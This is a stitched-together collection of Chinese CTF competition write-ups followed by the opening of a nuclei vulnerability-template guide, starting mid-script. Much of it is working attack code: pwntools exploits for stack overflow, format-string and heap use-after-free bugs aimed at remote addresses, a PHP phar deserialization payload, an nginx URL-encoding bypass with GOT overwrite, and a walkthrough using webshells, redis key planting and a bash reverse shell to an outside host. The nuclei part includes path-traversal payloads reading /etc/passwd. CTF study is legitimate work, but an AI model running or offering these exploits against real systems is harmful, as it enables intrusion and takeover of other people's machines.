e1 -(k1 ** e1 + x1[1]- x1[0]) # print(f) bounds =(2**168,2**168) root = small_roots(f,bounds,m=6,d=4) print(root) flag1 = root[0][0] print(flag1) flag = long_to_bytes(int(flag1))+ long_to_bytes(int(flag2)) print(flag)ezmodbus工具一把梭,去掉中间的杠 是谁偷偷偷走我的心打开流量发现winrm,用github脚本解密,在linux跑,windows要报错,Winrm流量解密:https://fdlucifer.github.io/2022/01/05/decrypt-winrm-traffic/ 解密之后发现了数据,两段base64数据,找到之后,发现是aes,尝试发现ntmlhash是aes的key 直接解密aes bluetooth打开报错提示流量包的数据包有问题,用010发现末尾有个flag.zip,提取出来发现有密码 xbox发送的数据应该是btl2cap and usb.dst==host,过滤出localhost发送给remote的数据 tshark -r .\xbox.pcapng -T fields -Y "btl2cap and usb.dst==host" -e btl2cap.payload > 1.txt过滤出来之后发现倒数第二位只有五种值,是云隐密码,解密得到 108841021084088421082088102088410210810884210000解密这段数据,得到压缩包密码AUCLWJQBUCIW,解开发现里面有个aes,我们还需要找aes的key 然后我们在倒数第三个字节发现只有1,3,5脑洞莫斯电码 用1代替. 3代替- 5代替空格得到 ..--- .-.----.--....------...-....---..----...............-.----.---- .----得到2AE9717689554111 然后解aes得到flag{5508d742-bae4-44a0-9376-25ba9c22de6d} ISC2我们翻流量发现两个订单号0YB7,0YA5 我们发现这三段和其他的流量不一样,猜测是cpu保护密码 我们找到一篇文章 https://andisec.com/gongkongshentoukuangjia-s7-300mimapuojie.html 解密得到数据LpvqC4TS 第三段数据过滤所有写入寄存器数据包,我们看到了i#R 拼接到一起就是flag login需要输入一个随机数,对应/dev/urandom,然后会产生栈溢出: 因为这里可以反复打开/dev/urandom,而没有进行关闭,所以多次打开后,会打开失败返回-1,然后返回到一个读取flag的后门函数就可以了。 from pwn import* # context.log_level = 'debug' # p = process("./main") p = remote("173.34.20.213",9999) for i inrange(0x1000): p.sendlineafter(b"ch:",b"1") p.sendlineafter(b"passwd:",b"0") # print(f"[{i}]") recv = p.recv(11) # print(recv) ifb"open"in recv: p.sendlineafter(b"ch:",b"1") p.sendlineafter(b"passwd:",b"-1") payload =b'a'*0x2a payload += p32(0x08049E35) pause() p.sendlineafter(b"login success", payload) p.interactive()safestring提供加解密字符串,输出字符串,输出存在格式化字符串漏洞,先把要输入的地址进行加密,输出后作为结果输入到解密里,进行格式化字符串漏洞利用,修改总函数的返回地址,分三次改到one_gadget from pwn import* # context.log_level = 'debug' p = process("./main") # p = remote("173.34.20.120", 9999) # leak # de %s->%p p.sendlineafter(b">>",b"2") # stack, elf, libc p.sendlineafter(b"input text:","|%8$s|%17$s|%6$s|%19$s|") p.sendlineafter(b">>",b"3") p.recvuntil(b"|") stack =int(p.recvuntil(b"|")[:-1],16) canary =int(p.recvuntil(b"|")[:-1],16) elf_base =int(p.recvuntil(b"|")[:-1],16)-0x1650 libc =int(p.recvuntil(b"|")[:-1],16)-0x24083 success(f"stack: {hex(stack)}") success(f"canary: {hex(canary)}") success(f"elf: {hex(elf_base)}") success(f"libc: {hex(libc)}") # exp one_gadget = libc +0xe3b01 success(f"one: {hex(one_gadget)}") byte1 = one_gadget &0xff byte2 =(one_gadget >>8)&0xff byte3 =(one_gadget >>16)&0xff defwrite_byte(b, offset): p.sendlineafter(b">>",b"1") addr = p64(stack +8+ offset) p.sendlineafter(b"input text:", addr) p.sendlineafter(b">>",b"3") p.recvuntil(b"text result: ") addr = p.recvuntil(b"\n")[:-1] # context.log_level = 'debug' p.sendlineafter(b">>",b"2") payload =b"%"+str(b).encode("utf-8")+b"f%14$kkq" if b <10: payload +=b"......" payload += addr elif b <0x10: payload +=b"....." payload += addr else: payload +=b"...." payload += addr # pause() p.sendlineafter(b"input text:", payload) p.sendlineafter(b">>",b"3") write_byte(byte1,0) write_byte(byte2,1) write_byte(byte3,2) p.sendlineafter(b">>",b"4") p.interactive() # 0x7ffff7 df 30 83 # 0x7ffff7 eb 2a fepanda修改name的时候存在堆溢出,先分配三个大堆块,释放掉中间的然后切割出来小的就可以拿到libc地址,跟昨天一样都是2.31的libc,所以直接利用堆溢出修改下个堆块里的name指针为free_hook,然后修改指向free_hook的name,让他指向system,再释放一个有/bin/sh字符串的堆块就可以了 from pwn import* # context.log_level = 'debug' libc = ELF("./libc-2.31.so") # p = process("./main") p = remote("173.34.20.227",9999) defadd(size, name, content): p.sendlineafter(b"Enter your choice: ",b"1") p.sendlineafter(b"Enter size: ",str(size)) p.sendafter(b"Enter panda name: ", name) p.sendafter(b"Enter panda content: ", content) defedit(idx, name, content): p.sendlineafter(b"Enter your choice: ",b"2") p.sendlineafter(b"Enter panda id to edit: ",str(idx)) p.sendafter(b"Enter panda name: ", name) p.sendafter(b"Enter panda content: ", content) defshow(): p.sendlineafter(b"Enter your choice: ",b"3") defdele(idx): p.sendlineafter(b"Enter your choice: ",b"4") p.sendlineafter(b"Enter panda id to delete: ",str(idx)) add(0x400,'a','b')# 0 add(0x400,'a','b')# 1, freed add(0x400,'a','b')# 2, 1 dele(1) add(0x18,'f','f')# 2 show() p.recvuntil(b"ID: 2, Name: ") libc.address = u64(p.recvuntil(b",")[:-1].ljust(8,b'\x00'))-0x1ecf66 success(f"libc: {hex(libc.address)}") free_hook = libc.sym["__free_hook"] one_gadget = libc.address +0xe3b04 one_gadget = libc.sym['system'] # pause() edit(0,b'a'*(0x430-8)+ p64(0x21)+ p64(0x0000001800000002)+ p64(free_hook)+ p64(free_hook +0x10)+b"\n",b'1') # pause() edit(2, p64(one_gadget)+b"\n",b'1') # pause() edit(0,b'/bin/sh\x00\n',b'/bin/sh\x00\n') dele(0) p.sendline("ls") p.interactive()gatewaynginx用fastcgi启动了一个cgi程序,并且提供了dockerfile,可以本地搭起来然后用gdb调试。 因为cgi程序交互运行只有一瞬间,我们没法attach上去,所以我选择在入口找了一个合适的函数进行patch,修改成sleep(10),这样就可以attach上去了: 然后程序开头会check一下访问的uri以及xff头: 而根据配置文件,我们访问的程序只能是/cgi-bin/xxx,并且不能是/cgi-bin/note_handler: location /cgi-bin/{ if($uri="/cgi-bin/note_handler"){ return403; } expires +1h; limit_rate 10k; root /usr/share; fastcgi_pass unix:/var/run/fcgiwrap.socket; fastcgi_index /cgi-bin/http; include /etc/nginx/fastcgi_params; #fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $document_root/cgi-bin/http; }而进入到后面的功能又必须是/cgi-bin/note_handler,所以这里利用uri会进行一次url解码来绕过: 具体来说,nginx会对uri进行一次解码,程序本身又会进行另一次解码,所以需要对uri进行二次编码,也就是将%进行编码(%25),送进程序后会变成%6e,再解码就可以: note_handler -> %6eote_handler -> %256eote_handler到后面的功能里,提取content后有个格式化字符串漏洞,写得非常有迷惑性: 把提取到的content作为format送进snprintf里导致了格式化字符串漏洞,这里传%s进去还能造成栈溢出,可以用%p泄露canary,但是程序每次运行都是新进程,canary会变化所以没法利用栈溢出: 因为got可以写,而且程序里也有system,所以直接修改puts的got,利用print功能来执行命令: 这里的content_是前面循环获取的最后一个content,所以命令写在最后面。 可以看到puts@plt和system@plt只差一个字节: 因为我们要写入\xb0,需要用到%176c来写,观察一下漏洞触发前的现场,因为没法传递空字节,所以可知目标地址得写在$rdi+0xc0的地方(当然更远也可以): 然后就可以执行命令了。 虽然我们没法直接把flag写到web目录读取,但是根据nginx配置文件可以看到路由/get_flag可以读取/tmp/flag: location /get_flag { alias /tmp/flag; default_type text/plain; }所以最终利用脚本: from pwn import* # context.log_level = 'debug' cmd ="cat /flag>/tmp/flag" payload ="GET /cgi-bin/%256eote_handler?action=add,print&content=%192c" payload +='\x28\x40\x40'# puts got: 0x404028 payload +="&content=%176c%34$hhn&content=" payload += cmd payload +=" HTTP/1.1\r\n" payload +="Host: 127.0.0.1\r\n" payload +="X-Forwarded-For: 127.0.0.1\r\n\r\n" # p = remote("173.34.20.16", 80) p = remote("127.0.0.1",8088) p.send(payload) print(p.recv().decode(("utf-8"))) p.close() payload =b"GET /get_flag HTTP/1.1\r\nHost:127.0.0.1\r\n\r\n" p = remote("127.0.0.1",8088) p.send(payload.decode("utf-8")) print(p.recv().decode(("utf-8"))) p.close() 附件下载地址: 链接: https://pan.baidu.com/s/1bqh5P5z3N3ms8Bh24JLMvg 提取码: f2e2 转自原文链接地址: https://mp.weixin.qq.com/s/a6GkBTAXwSubQ_M02G3SyA
-
四川省职工职业技能大赛网络安全决赛WP
上午CTF部分 web simplelogin yakit爆破出密码,记得应该是a123456: ppopp index.php有一个任意文件读取: <?php //upload.php error_reporting(0); highlight_file(__FILE__); class A { public $a; public function __destruct() { $s=$this->$a; $s(); } } class B{ public $cmd; function __invoke(){ return $this->start(); } function start(){ echo system($this->cmd); } } if(isset($_GET['file'])) { if(strstr($_GET['file'], "flag")) { die("Get out!"); } echo file_get_contents($_GET['file']); } ?> 读取upload.php: <!--?php error_reporting(0); if(isset($_FILES['file'])) { mkdir("upload"); $uuid = uniqid(); $ext = explode(".", $_FILES["file"]["name"]); $ext = end($ext); move_uploaded_file($_FILES['file']['tmp_name'], "upload/".$uuid.".png"); echo "Upload Success! FilePath: upload/".$uuid.".png"; }--> 上传的文件会被改后缀为.png 尝试上传phar文件,并用首页的file_get_contents触发反序列化执行命令: // phar.php <?php // phar.php class A { public $a; public function __destruct() { $s=$this->a; $s(); } } class B{ public $cmd; function __construct(){ $this->$cmd = "cat flag"; } function __invoke(){ return $this->start(); } function start(){ system($this->cmd); } } $b = new B(); $b->cmd = "cat /flag"; $a = new A(); $a->a = $b; @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString("a.txt", "abb"); //添加要压缩的文件 $phar->stopBuffering(); //签名自动计算 ?> 上传后访问: misc ftp 流量提取zip,然后密码一样password1234567890 crypto baby_与佛论禅 aes但是对结果进行了异或后转换成字符,所以转回去解aes就可以 ruShiWoWen = [ '謹', '穆', '僧', '室', '藝', '瑟', '彌', '提', '蘇', '醯', '盧', '呼', '舍', '參', '沙', '伊', '隸', '麼', '遮', '闍', '度', '蒙', '孕', '薩', '夷', '他', '姪', '豆', '特', '逝', '輸', '楞', '栗', '寫', '數', '曳', '諦', '羅', '故', '實', '訶', '知', '三', '藐', '耨', '依', '槃', '涅', '竟', '究', '想', '夢', '倒', '顛', '遠', '怖', '恐', '礙', '以', '亦', '智', '盡', '老', '至', '吼', '足', '幽', '王', '告', '须', '弥', '灯', '护', '金', '刚', '游', '戏', '宝', '胜', '通', '药', '师', '琉', '璃', '普', '功', '德', '山', '善', '住', '过', '去', '七', '未', '来', '贤', '劫', '千', '五', '百', '万', '花', '亿', '定', '六', '方', '名', '号', '东', '月', '殿', '妙', '尊', '树', '根', '西', '皂', '焰', '北', '清', '数', '精', '进', '首', '下', '寂', '量', '诸', '多', '释', '迦', '牟', '尼', '勒', '阿', '閦', '陀', '中', '央', '众', '生', '在', '界', '者', '行', '于', '及', '虚', '空', '慈', '忧', '各', '令', '安', '稳', '休', '息', '昼', '夜', '修', '持', '心', '求', '诵', '此', '经', '能', '灭', '死', '消', '除', '毒', '害', '高', '开', '文', '殊', '利', '凉', '如', '念', '即', '说', '曰', '帝', '毘', '真', '陵', '乾', '梭', '哈', '敬', '禮', '奉', '祖', '先', '孝', '雙', '親', '守', '重', '師', '愛', '兄', '弟', '信', '朋', '友', '睦', '宗', '族', '和', '鄉', '夫', '婦', '教', '孫', '時', '便', '廣', '積', '陰', '難', '濟', '急', '恤', '孤', '憐', '貧', '創', '廟', '宇', '印', '造', '經', '捨', '藥', '施', '茶', '戒', '殺', '放', '橋', '路', '矜', '寡', '拔', '困', '粟', '惜', '福', '排', '解', '紛', '捐', '資'] enc = "急陰印诵愛謹者時守蒙薩宝至勒量央多牟德殺拔万诸心弥闍忧生诵惜惜矜藥稳灯经急琉羅贤迦弟消吼释心姪室經藝幽他信想室幽究除利宗护及闍究究劫信逝此栗究兄寫树寡鄉弥幽信去" dec = b'' for i in enc: dec += (ruShiWoWen.index(i) ^ 64).to_bytes(1, 'little') KEY = b'DASCTF@Key@^_^@Encode!!Buddha!!!' IV = b'IV|DASCTF|OvO|IV' from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad cryptor = AES.new(KEY, AES.MODE_CBC, IV) # padded_data = pad(data.encode('utf-8'), AES.block_size) encrypted_data = cryptor.decrypt(dec) print(encrypted_data) re NormalAndroid jadx打开看到只调用了so里的一个函数,ida跟过去看: 能看到一个类似key的东西,并且对key进行了变换: 表: 表 然后进入到加密逻辑是一个AES加密,跟过去是S盒被改过: 所以就是找一个aes实现的代码改一下S盒,然后用变换过的key解密,因为断网比赛,当时没存脚本所以没做出来: from Crypto.Util.number import long_to_bytes, bytes_to_long # https://github.com/bozhu/AES-Python/blob/master/aes.py Sbox = ( 0xBE, 0xB4, 0x9F, 0x70, 0xDB, 0xAD, 0x31, 0x30, 0x6C, 0x87, 0x74, 0x27, 0xC9, 0x4C, 0x67, 0x62, 0x0A, 0x36, 0x08, 0xC8, 0x96, 0x32, 0x00, 0xF1, 0x38, 0x65, 0xEC, 0xED, 0x44, 0x25, 0xAA, 0x33, 0x86, 0xEF, 0x0D, 0x19, 0x7D, 0xD5, 0x45, 0xFB, 0x8D, 0x61, 0xFE, 0x50, 0x47, 0x7E, 0x7C, 0xF9, 0x01, 0xDE, 0xFF, 0xE1, 0xAC, 0x5D, 0xB5, 0x8E, 0x48, 0xBF, 0x90, 0x9D, 0x79, 0xCB, 0xA6, 0xA9, 0xFC, 0x34, 0xCF, 0x63, 0x5A, 0x99, 0x98, 0xB8, 0x92, 0x2D, 0x02, 0x89, 0x2C, 0x3B, 0x15, 0x72, 0x5E, 0x60, 0x29, 0x6F, 0x0B, 0x24, 0x6D, 0x1C, 0x5B, 0xE0, 0x37, 0xA4, 0xCC, 0x12, 0x93, 0xA7, 0x09, 0xC6, 0xB6, 0x8F, 0x04, 0x20, 0xE8, 0x46, 0xB1, 0xAE, 0x3A, 0x68, 0x81, 0xCE, 0x2B, 0x0C, 0xB3, 0x3E, 0xC0, 0x0E, 0x4D, 0xD8, 0xD2, 0xA2, 0x9E, 0x56, 0x28, 0xB0, 0x35, 0x1B, 0x5F, 0xF5, 0x05, 0xBC, 0x3C, 0x4F, 0x8C, 0xE6, 0xF6, 0x75, 0xF4, 0xF8, 0xDD, 0x11, 0xC1, 0xB9, 0x4E, 0x97, 0xD6, 0xF2, 0xE4, 0xD1, 0x82, 0xD3, 0x03, 0x8B, 0x4B, 0xCA, 0x64, 0xEB, 0xAB, 0x71, 0xA1, 0xBA, 0xA8, 0x6A, 0x1E, 0x1A, 0xA5, 0x49, 0x6E, 0x53, 0x66, 0x39, 0x51, 0xE9, 0x26, 0xC4, 0xDA, 0x55, 0x3F, 0xEA, 0x85, 0x8A, 0xD9, 0x13, 0x69, 0x1F, 0xE2, 0x7F, 0x2F, 0xC5, 0x88, 0x57, 0x73, 0xA3, 0xE3, 0x0F, 0xBB, 0x18, 0xE5, 0x42, 0x22, 0x52, 0x43, 0x80, 0x2A, 0x6B, 0x17, 0xD7, 0x23, 0x06, 0x58, 0x1D, 0x7A, 0x84, 0xE7, 0xEE, 0xD0, 0x41, 0xD4, 0xBD, 0xA0, 0xC3, 0xC2, 0xFD, 0x21, 0x54, 0xDF, 0x7B, 0xB7, 0xF0, 0xB2, 0x77, 0x3D, 0x07, 0x78, 0x16, 0x9C, 0x59, 0xAF, 0x2E, 0x83, 0xFA, 0x9B, 0x95, 0xF7, 0x40, 0x94, 0xF3, 0xCD, 0xC7, 0x91, 0x10, 0xDC, 0x4A, 0x14, 0x9A, 0x5C, 0x76 ) InvSbox = [Sbox.index(i) for i in range(256)] # learnt from http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1) Rcon = ( 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A, 0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A, 0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39, ) def text2matrix(text): matrix = [] for i in range(16): byte = (text >> (8 * (15 - i))) & 0xFF if i % 4 == 0: matrix.append([byte]) else: matrix[i // 4].append(byte) return matrix def matrix2text(matrix): text = 0 for i in range(4): for j in range(4): text |= (matrix[i][j] << (120 - 8 * (4 * i + j))) return text class AES: def __init__(self, master_key): self.change_key(master_key) def change_key(self, master_key): self.round_keys = text2matrix(master_key) # print self.round_keys for i in range(4, 4 * 11): self.round_keys.append([]) if i % 4 == 0: byte = self.round_keys[i - 4][0] \ ^ Sbox[self.round_keys[i - 1][1]] \ ^ Rcon[i // 4] self.round_keys[i].append(byte) for j in range(1, 4): byte = self.round_keys[i - 4][j] \ ^ Sbox[self.round_keys[i - 1][(j + 1) % 4]] self.round_keys[i].append(byte) else: for j in range(4): byte = self.round_keys[i - 4][j] \ ^ self.round_keys[i - 1][j] self.round_keys[i].append(byte) # print self.round_keys def encrypt(self, plaintext): self.plain_state = text2matrix(plaintext) self.__add_round_key(self.plain_state, self.round_keys[:4]) for i in range(1, 10): self.__round_encrypt(self.plain_state, self.round_keys[4 * i : 4 * (i + 1)]) self.__sub_bytes(self.plain_state) self.__shift_rows(self.plain_state) self.__add_round_key(self.plain_state, self.round_keys[40:]) return matrix2text(self.plain_state) def decrypt(self, ciphertext): self.cipher_state = text2matrix(ciphertext) self.__add_round_key(self.cipher_state, self.round_keys[40:]) self.__inv_shift_rows(self.cipher_state) self.__inv_sub_bytes(self.cipher_state) for i in range(9, 0, -1): self.__round_decrypt(self.cipher_state, self.round_keys[4 * i : 4 * (i + 1)]) self.__add_round_key(self.cipher_state, self.round_keys[:4]) return matrix2text(self.cipher_state) def __add_round_key(self, s, k): for i in range(4): for j in range(4): s[i][j] ^= k[i][j] def __round_encrypt(self, state_matrix, key_matrix): self.__sub_bytes(state_matrix) self.__shift_rows(state_matrix) self.__mix_columns(state_matrix) self.__add_round_key(state_matrix, key_matrix) def __round_decrypt(self, state_matrix, key_matrix): self.__add_round_key(state_matrix, key_matrix) self.__inv_mix_columns(state_matrix) self.__inv_shift_rows(state_matrix) self.__inv_sub_bytes(state_matrix) def __sub_bytes(self, s): for i in range(4): for j in range(4): s[i][j] = Sbox[s[i][j]] def __inv_sub_bytes(self, s): for i in range(4): for j in range(4): s[i][j] = InvSbox[s[i][j]] def __shift_rows(self, s): s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1] s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2] s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3] def __inv_shift_rows(self, s): s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1] s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2] s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3] def __mix_single_column(self, a): # please see Sec 4.1.2 in The Design of Rijndael t = a[0] ^ a[1] ^ a[2] ^ a[3] u = a[0] a[0] ^= t ^ xtime(a[0] ^ a[1]) a[1] ^= t ^ xtime(a[1] ^ a[2]) a[2] ^= t ^ xtime(a[2] ^ a[3]) a[3] ^= t ^ xtime(a[3] ^ u) def __mix_columns(self, s): for i in range(4): self.__mix_single_column(s[i]) def __inv_mix_columns(self, s): # see Sec 4.1.3 in The Design of Rijndael for i in range(4): u = xtime(xtime(s[i][0] ^ s[i][2])) v = xtime(xtime(s[i][1] ^ s[i][3])) s[i][0] ^= u s[i][1] ^= v s[i][2] ^= u s[i][3] ^= v self.__mix_columns(s) key = b"Hi Android!0oO00" table = [ 0x0A, 0x02, 0x01, 0x0D, 0x0B, 0x09, 0x0E, 0x08, 0x07, 0x05, 0x00, 0x04, 0x0F, 0x03, 0x06, 0x0C ] key = bytes([key[i] for i in table]) enc = [ 0x29, 0x9C, 0xB0, 0x7E, 0x81, 0x55, 0x5B, 0x08, 0x55, 0x6F, 0x70, 0xC8, 0x2A, 0x8B, 0xA4, 0xC8, 0xA3, 0x3A, 0x60, 0x9B, 0x6E, 0xFD, 0xDC, 0x7A, 0xC7, 0x6B, 0xCC, 0xAC, 0x32, 0xB3, 0xDF, 0x3E ] flag = b"" cipher = AES(bytes_to_long(key)) dec = cipher.decrypt(bytes_to_long(bytes(enc[:16]))) # print(long_to_bytes(dec)) flag += long_to_bytes(dec) dec = cipher.decrypt(bytes_to_long(bytes(enc[16:]))) # print(long_to_bytes(dec)) flag += long_to_bytes(dec) print(flag) pwn shopping 添加一个货物会分配两个0x98,释放后没置空导致存在uaf,创建多个堆块后释放到unsorted bin泄露libc,然后利用编辑功能修改tcache的bk为freehook,填入one_gadget利用 from pwn import * libc = ELF("./libc.so.6") # p = process("./pwn_1") p = remote("10.1.100.34", 9999) # context.log_level = 'debug' def add(content): p.sendlineafter(": ", b"2") p.sendlineafter(": ", b"1") p.sendlineafter(":", content) def free(idx): p.sendlineafter(": ", b"3") p.sendlineafter(": ", str(idx).encode()) def show(): p.sendlineafter(": ", b"5") def edit(idx, content): p.sendlineafter(": ", b"4") p.sendlineafter(": ", str(idx).encode()) p.sendlineafter(":", content) for i in range(9): add(b'a') for i in range(8): free(i) show() p.recvuntil(b"------------------------------\n") heap = int(p.recvuntil(b" "), 10) - 0xc50 success(f"heap: {hex(heap)}") p.recvuntil(b"------------------------------\n") p.recvuntil(b"------------------------------\n") libc.address = int(p.recvuntil(b" "), 10) - 0x3ebca0 success(f"libc: {hex(libc.address)}") # pause() edit(3, p64(libc.sym['__free_hook'])) add(p64(libc.address + 0x4f302)) add(p64(libc.address + 0x4f302)) free(0) p.interactive() ai scene-1 import csv from collections import defaultdict # Load the data from the CSV file with open('data/network_traffic_logs_q1.csv', 'r', encoding='utf-8') as csvfile: reader = csv.DictReader(csvfile) data = [row for row in reader] # Step 1: Count the number of each event type event_type_count = defaultdict(int) for row in data: event_type_count[row['event_type']] += 1 # print(event_type_count) top_source_ip = {} for row in data: if row['source_ip'] not in top_source_ip.get(row['event_type'], []): top_source_ip.setdefault(row['event_type'], []).append(row['source_ip']) else: # top_source_ip[row['event_type']].remove(row['source_ip']) top_source_ip[row['event_type']].append(row['source_ip']) def max_times(l): a = {} for i in l: if a.get(i): a[i] += 1 else: a[i] = 1 max = 0 top = '' for i, j in a.items(): if max < j: max = j top = i print(top) return top # Step 3: Generate the output CSV file with open('output.csv', 'w', encoding='utf-8') as csvfile: writer = csv.writer(csvfile) writer.writerow(['event_type', 'event_type_count', 'top_source_ip']) for event_type, count in event_type_count.items(): writer.writerow([event_type, count, max_times(top_source_ip[event_type])]) scene-2 import pandas as pd import ipaddress import csv data = pd.read_csv("./data/network_traffic_logs_q2.csv", dtype={'source_ip': str, 'destination_port': str, 'source_port': str, 'destination_port': str}, encoding='utf-8') # timestamp,source_ip,destination_ip,source_port,destination_port,packet_size # data['connection'] = int(ipaddress.IPv4Address(data['source_ip'])) + '-' + data['source_port'] + '-' + int(ipaddress.IPv4Address(data['destination_ip'])) + '-' + data['destination_port'] # data['connection'] = int(ipaddress.IPv4Address(data['source_ip'])) # data.to_csv('result.csv', index=False, encoding='utf-8') source_ips = [] for i in data['source_ip']: source_ips.append(str(int(ipaddress.IPv4Address(i)))) source_ports = [] for i in data['source_port']: source_ports.append(i) destination_ips = [] for i in data['destination_ip']: destination_ips.append(str(int(ipaddress.IPv4Address(i)))) destination_ports = [] for i in data['destination_port']: destination_ports.append(i) sizes = [] for i in data['packet_size']: sizes.append(i) result = {} for i in range(len(source_ips)): temp = source_ips[i] + "-" + source_ports[i] + "-" + destination_ips[i] + "-" + destination_ports[i] if not result.get(temp): result[temp] = sizes[i] else: result[temp] += sizes[i] # print(result) with open('output.csv', 'w', encoding='utf-8') as csvfile: writer = csv.writer(csvfile) writer.writerow(['connection', 'total_packet_size']) for connection, total_packet_size in result.items(): writer.writerow([connection, total_packet_size]) 另外两个AI题目,准备了本地的llama3和codellama的大模型(用ollama),但是比赛的时候没能成功让大模型写出来解题代码。 下午国产化环境漏洞挖掘赛部分 flag1 上来打开robots.txt: 然后扫到一个DS_Store 打开能看到test.php,同时扫描器也扫到test.php,可以上传文件 flag2 上传图片,有一些检查,所以直接在正常图片末尾加一句话木马,蚁剑连接 弹个shell回来: bash -i >& /dev/tcp/10.50.137.28/23333 0>&1 上传fscan,cat /proc/net/arp看内网,然后扫网段192.168.35.1/24 然后拉代理出来 flag3 xray扫到一台nacos,用vulhub的脚本挂代理打: 登陆后看到flag3: flag7 nacos里的另一个配置文件里有一个密码xinchuang123qwe,用这个密码连redis,写公钥然后SSH上去可以看到flag7,在192的机器里。 flag10 flag10要求计算麒麟主机的/proc/version的md5,实际上就是入口机器,但是这个文件用哥斯拉的马才能读取: 赛题附件下载地址:链接: https://pan.baidu.com/s/1t-d-s4g-QN90e1B0ekBK3A 提取码: eyj8 原文转载链接地址: https://mp.weixin.qq.com/s/-3Am_wGCgc2aOaedk91g9w
-
nuclei模板编写总结
一、脚本的语法格式 大小写敏感 缩进:使用缩进表示层级关系,YAML 使用空格进行缩进,通常每个缩进级别为两个空格。 键值对:YAML 通过键值对来存储数据,键和值之间用冒号 : 分隔。 列表:使用短横线 -来表示列表中的项。 注释:以 # 开头的行是注释。 字符串:字符串可以不使用引号,也可以使用单引号或双引号 id不能有中文、特殊字符、--以及空格等内容,id这个参数,您可以理解为是输出的标题,一个简单易懂的ID,可以让您更快的判断出 info:信息块,名称 、 作者 、 严重性 、 描述 、参考和 标签 ,这些都属于信息块的范围,一般情况下,我们只需要写入名称、作者、严重性、描述、标签这几项即可 name:模板名称,这个建议跟id相同即可 severity:严重性,这里不可以使用中文,一般用critical、hight、Medium、info来表示威胁等级 description:漏洞介绍,这里可以使用中文,也不限制特殊字符,一般是用来做漏洞介绍用的,可以方便使用者了解该漏洞的具体说明 tags:标签,是为了给漏洞加一个标签,方便进行统一扫描,例如:tags: seeyon(切记不要用中文哈) 日常编写nuclei的yaml脚本,nuclei内置cookie-reuse属性,在发起多个请求时,需要保持会话,可以添加cookie-reuse: true来保持多个请求时会话得到保持,这在有身份验证时很有用。 如果匹配失败的话可以使用-debug来获取请求包和返回包进行调试,使用Burp抓包直接将请求包内容粘贴即可 二、Nuclei常用命令 1.验证模板格式 nuclei -t test.yaml --validate 2.指定模板和目标 nuclei -t test.yaml -u http://exam.com 3.批量扫描 nuclei -t test.yaml -l target.txt 4.指定socks5代理扫描 nuclei -t test.yaml -u http://exam.com -p socks5://127.0.0.1:7890 三、脚本示例 id: file-include #模板的唯一标识符 info: #包含模板的基本信息,如名称、作者、版本等 name: file include #脚本的名字 author: bakclion #模板作者 severity: high #安全级别 可选的有 info, low, medium, high, critical, unknown description: 用于测试靶场的nuclei模板 #描述模板内容 reference: http://www.baidu.com #参考来源 tags: test #分类的标签 requests: #定义了如何与目标进行交互的请求部分 - method: GET #HTTP 方法,如 GET 或 POST path: #请求的路径 - "{{BaseURL}}/vul/dir/dir_list.php?title=../../../../../../../etc/passwd" headers: #请求头 User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" matchers: - type: status #匹配回包状态 status: - 200 - type: regex #匹配返回内容 part: body regex: - "root:x:0:0:root:/root:/bin/bash" 四、脚本组成 1.开头 id: landray-oa-fileread info: name: landray-oa-fileread author: backlion severity: high description: | 蓝凌OA custom.jsp 任意文件读取漏洞,这个OA遇到的比较少 FOFA: app="Landray-OA系统" reference: https://github.com/backslion tags: fileread,landray 2.请求 Get requests: - method: GET path: - "{{BaseURL}}/seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties" POST requests: - method: POST path: - "{{BaseURL}}/sys/ui/extend/varkind/custom.jsp" headers: Content-Type: application/x-www-form-urlencoded body: 'var={"body":{"file":"file:///etc/passwd"}}' RAW requests: - raw: - | POST /ispirit/interface/gateway.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded json={"url":"/general/../../mysql5/my.ini"} 跳转 - method: GET path: - "{{BaseURL}}" redirects: true max-redirects: 2 或者 requests: - raw: - | GET /zentao/api-getModel-editor-save-filePath=bote HTTP/1.1 redirects: true max-redirects: 3 路径 请求的下一部分是请求的路径。动态变量可以放置在路径中以在运行时修改其行为。变量以开头{{和}}结尾并且区分大小写。 {{Hostname}}:这是一个常用的保留字,表示主机名。 {{randstr}}:这是一个随机字符串。 {{rand_int(1,9999)}}:这是一个生成 1 到 9999 之间随机整数的保留字。 {{BaseURL}}:表示完整的基本 URL,例如 https://example.com:443/foo/bar.php。 {{RootURL}}:表示不包含路径和文件的基本 URL,例如 https://example.com:443。 {{Host}}:表示主机名,例如 example.com。 {{Port}}:表示端口号,例如 443。 {{Path}}:表示路径,例如 /seeyon/login。 {{File}}:表示文件名,例如 bar.php。 {{Scheme}}:表示协议,例如 https。 {{hex_decode("")}}:这是一个十六进制解码的保留字。 md5():这是一个 MD5 转换的保留字 Variable Value {{BaseURL}} https://example.com:443/foo/bar.php {{RootURL}} https://example.com:443 {{Hostname}} example.com:443 {{Host}} example.com {{Port}} 443 {{Path}} /foo {{File}} bar.php {{Scheme}} https stop-at-first-match 